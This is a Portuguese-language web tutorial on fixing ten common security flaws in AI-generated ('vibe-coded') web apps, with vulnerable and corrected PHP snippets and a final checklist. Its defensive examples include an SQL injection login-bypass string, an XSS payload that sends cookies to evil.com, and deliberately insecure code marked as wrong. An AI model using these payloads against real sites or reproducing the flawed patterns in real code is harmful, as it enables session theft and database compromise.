Início / Ferramentas de IA / Artigo
Intermediário

Guia Completo: Como Prevenir Falhas de Segurança em Projetos Criados com Vibe Coding (Lovable, Claude Code, ChatGPT)

Se você já usou ferramentas como Lovable, Claude Code, Cursor, Bolt.new ou os modos de código do ChatGPT e Claude para criar um projeto, este tutorial é para você. Vamos aprender juntos como identificar e corrigir as 10 falhas de segurança mais perigosas que essas ferramentas deixam passar.

Nenhum julgamento aqui — Vibe Coding é incrível e veio para ficar. Mas a IA gera código que funciona, não necessariamente código seguro. Pense nela como um estagiário genial que nunca fez um curso de segurança: produz rápido, mas precisa de revisão.

O Que é Vibe Coding?

Vibe Coding é o termo usado para descrever a prática de criar software conversando com uma IA. Você descreve o que quer em português (ou inglês), e a ferramenta gera o código completo — frontend, backend, banco de dados, deploy.

Ferramentas mais populares em 2026:

  • Lovable — gera aplicações web completas a partir de prompts
  • Bolt.new — cria e deploya projetos full-stack no browser
  • Claude Code — agente de codificação do Anthropic que edita projetos inteiros
  • Cursor — IDE com IA integrada (Copilot avançado)
  • ChatGPT/Claude — geradores de código via chat

O problema não é a ferramenta — é confiar cegamente no output. Vamos aprender a revisar.

Falha #1: SQL Injection — A Rainha das Vulnerabilidades

🔴 O Que É

SQL Injection acontece quando dados do usuário são inseridos diretamente dentro de uma query SQL. Um atacante pode manipular a query para ler, alterar ou deletar dados do seu banco.

🔴 Como a IA Gera Código Vulnerável

Quando você pede "crie um login com email e senha", a IA frequentemente gera:

// ❌ CÓDIGO PERIGOSO — a IA faz isso com frequência
$email = $_POST['email'];
$query = "SELECT * FROM users WHERE email = '$email'";
$result = mysqli_query($conn, $query);

Um atacante pode digitar no campo de email:

' OR '1'='1' --

E a query se torna: SELECT * FROM users WHERE email = '' OR '1'='1' --' — retornando todos os usuários.

🟢 Como Corrigir

Use prepared statements — eles separam o código SQL dos dados:

// ✅ SEGURO — prepared statement com PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email");
$stmt->execute(['email' => $_POST['email']]);
$user = $stmt->fetch();

// ✅ SEGURO — mysqli com bind
$stmt = $conn->prepare("SELECT * FROM users WHERE email = ?");
$stmt->bind_param("s", $_POST['email']);
$stmt->execute();

💡 Dica: Procure em todo o seu projeto por concatenações de variáveis dentro de strings SQL. Se encontrar $_GET, $_POST ou qualquer variável dentro de aspas numa query, é vulnerável.

Falha #2: XSS (Cross-Site Scripting)

🔴 O Que É

XSS permite que um atacante injete JavaScript malicioso no seu site. Quando outro usuário acessa a página, o script executa no browser dele — podendo roubar cookies, sessões, dados de formulário.

🔴 Exemplo Real

Imagine um campo de comentários onde a IA gera:

// ❌ PERIGOSO — renderiza HTML do usuário sem filtro
<p><?= $comentario['texto'] ?></p>

Um atacante escreve como comentário:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

🟢 Como Corrigir

// ✅ SEGURO — escape com htmlspecialchars
<p><?= htmlspecialchars($comentario['texto'], ENT_QUOTES, 'UTF-8') ?></p>

// ✅ Crie uma função helper para não esquecer
function e(string $text): string {
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

💡 Regra de ouro: Tudo que veio do usuário e vai para o HTML precisa ser escaped. Sem exceção.

Falha #3: Autenticação e Senhas Inseguras

🔴 O Que a IA Faz de Errado

  • Armazena senhas em texto plano ou com MD5/SHA1 (sem salt)
  • Gera tokens de sessão com rand() ou uniqid() (previsíveis)
  • Coloca o JWT secret como "secret" no próprio código
  • Cria links de "esqueci a senha" que nunca expiram

🟢 Como Fazer Certo

// ✅ HASH seguro de senha (PHP nativo)
$hash = password_hash($senha, PASSWORD_ARGON2ID);

// ✅ VERIFICAR senha no login
if (password_verify($senhaDigitada, $hashDoBanco)) {
    // Login OK!
}

// ✅ GERAR tokens criptograficamente seguros
$token = bin2hex(random_bytes(32));
$expiraEm = date('Y-m-d H:i:s', strtotime('+1 hour'));

💡 Teste rápido: Abra seu banco de dados e olhe a coluna de senha. Se você consegue ler a senha, está errado. Se parece com $argon2id$v=19$m=65536..., está seguro.

Falha #4: Sem Rate Limiting = Servidor Aberto

🔴 O Que Acontece

A IA nunca adiciona rate limiting. Isso significa que um bot pode tentar milhares de senhas por segundo no seu login, enviar spam infinito pelo seu formulário de contato, ou consumir toda a sua cota de API.

🟢 Implementação Prática

// ✅ Rate limiting simples com arquivo cache
function checkRateLimit(string $action, int $maxPerMinute = 30): bool {
    $key = $action . ':' . ($_SERVER['REMOTE_ADDR'] ?? 'unknown');
    $cacheFile = sys_get_temp_dir() . '/rate_' . md5($key);
    $data = file_exists($cacheFile) ? json_decode(file_get_contents($cacheFile), true) : [];
    $now = time();
    $data = array_filter($data, fn($t) => $t > $now - 60);
    if (count($data) >= $maxPerMinute) {
        http_response_code(429);
        return false;
    }
    $data[] = $now;
    file_put_contents($cacheFile, json_encode($data));
    return true;
}

Falha #5: API Retornando Dados Demais

🔴 O Que Acontece

Você pede pra IA "crie uma API de usuários" e ela retorna SELECT * FROM users — incluindo hash de senha, chaves de API, dados internos.

🟢 Como Corrigir

// ❌ A IA faz isso
return json_encode($user); // Inclui TUDO

// ✅ Defina uma whitelist de campos
function publicUser(array $user): array {
    return array_intersect_key($user, array_flip([
        'id', 'name', 'email', 'avatar_url', 'created_at'
    ]));
}
return json_encode(publicUser($user));

Falha #6: CSRF — Formulários Sem Proteção

🔴 O Que É

CSRF (Cross-Site Request Forgery) permite que um site malicioso faça requisições no seu site usando a sessão do usuário logado.

🟢 Proteção

// ✅ No início da sessão, gerar token
session_start();
if (empty($_SESSION['csrf'])) {
    $_SESSION['csrf'] = bin2hex(random_bytes(32));
}

// ✅ Incluir em todo formulário como campo hidden

// ✅ Validar no processamento
if (!hash_equals($_SESSION['csrf'], $_POST['_csrf'] ?? '')) {
    die('Requisição inválida');
}
// Importante: usar hash_equals() e não == para evitar timing attacks

Falha #7: Upload de Arquivos Perigosos

🔴 O Que a IA Gera

// ❌ A IA gera isso — PERIGOSO
move_uploaded_file($_FILES['foto']['tmp_name'], 'uploads/' . $_FILES['foto']['name']);

🟢 Upload Seguro

// ✅ Validar tipo REAL do arquivo
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$tipoReal = finfo_file($finfo, $_FILES['foto']['tmp_name']);

$permitidos = ['image/jpeg', 'image/png', 'image/webp'];
if (!in_array($tipoReal, $permitidos, true)) {
    die('Tipo de arquivo não permitido');
}

// ✅ Gerar nome aleatório
$nome = bin2hex(random_bytes(16)) . '.webp';

// ✅ Limitar tamanho (ex: 5MB)
if ($_FILES['foto']['size'] > 5 * 1024 * 1024) {
    die('Arquivo muito grande');
}

move_uploaded_file($_FILES['foto']['tmp_name'], $uploadDir . '/' . $nome);

Falha #8: Chaves de API e Senhas no Código-Fonte

🔴 Por Que Isso Acontece SEMPRE

Quando você diz pra IA "integre com a API do Stripe", ela coloca a chave diretamente no código. Se você faz commit no GitHub sem perceber, bots automatizados detectam a chave em segundos.

🟢 A Forma Correta

// ❌ NUNCA faça isso
$stripe = new Stripe('sk_live_abc123456');

// ✅ Use variáveis de ambiente
$stripe = new Stripe(getenv('STRIPE_SECRET_KEY'));

💡 Checklist imediato:

  1. Verifique se .env está no seu .gitignore
  2. Rode git log --all -p | grep -i "api_key\|secret\|password"
  3. Se commitou, troque a chave imediatamente (deletar o commit não basta)

Falha #9: IDOR — Acessando Dados de Outros Usuários

🔴 O Que É

IDOR (Insecure Direct Object Reference) é quando seu endpoint usa um ID na URL e não verifica se aquele ID pertence ao usuário logado.

// ❌ Qualquer pessoa pode ver faturas de qualquer usuário
$fatura = Fatura::find($_GET['id']);

// ✅ SEMPRE filtrar pelo usuário autenticado
$fatura = Fatura::where('id', $_GET['id'])
    ->where('user_id', $userLogado->id)
    ->first();

if (!$fatura) {
    http_response_code(404);
    exit;
}

Falha #10: Dependências com Vulnerabilidades Conhecidas

🔴 O Problema

Ferramentas de Vibe Coding instalam pacotes sem verificar CVEs. Seu projeto pode nascer com 5, 10, 20 falhas de segurança conhecidas.

🟢 Comandos Para Verificar Agora

# Node.js / npm
npm audit
npm audit fix

# PHP / Composer
composer audit

# Python / pip
pip-audit

💡 Automatize: Ative o GitHub Dependabot ou Snyk no seu repositório.

Checklist Final: 14 Itens Para Revisar Antes de Publicar

Imprima este checklist e use em todo projeto gerado por Vibe Coding:

  1. ☐ Queries SQL usam prepared statements
  2. ☐ Outputs HTML usam htmlspecialchars()
  3. ☐ Senhas com password_hash() + password_verify()
  4. ☐ Tokens com random_bytes(), não rand()/uniqid()
  5. Rate limiting no login, API e formulários
  6. ☐ API retorna apenas campos necessários
  7. ☐ Formulários com token CSRF
  8. ☐ Uploads validam MIME type real + nome aleatório
  9. Secrets no .env, nunca no código
  10. ☐ Autorização verifica ownership em todo endpoint
  11. npm audit / composer audit sem vulnerabilidades
  12. Headers de segurança: CSP, X-Frame-Options, HSTS
  13. HTTPS obrigatório
  14. Logs de login, erros e ações sensíveis

Conclusão: Vibe Coding + Segurança = Superpoder Real

Vibe Coding é uma das maiores revoluções na história do desenvolvimento de software. Construir um SaaS em horas ao invés de meses é genuinamente transformador. Mas velocidade sem segurança é uma bomba-relógio.

A boa notícia: com este guia, você agora sabe exatamente o que procurar e como corrigir. Reserve 2-3 horas após cada projeto gerado por IA para passar pelo checklist. Esse pequeno investimento pode evitar meses de crise, multas da LGPD e perda de confiança dos seus usuários.

Lembre-se: A IA é sua assistente, não sua auditora de segurança. Esse papel é seu.

William Schons
Escrito por William Schons

Especialista em tecnologia e inteligência artificial. Fundador da wortic.com.br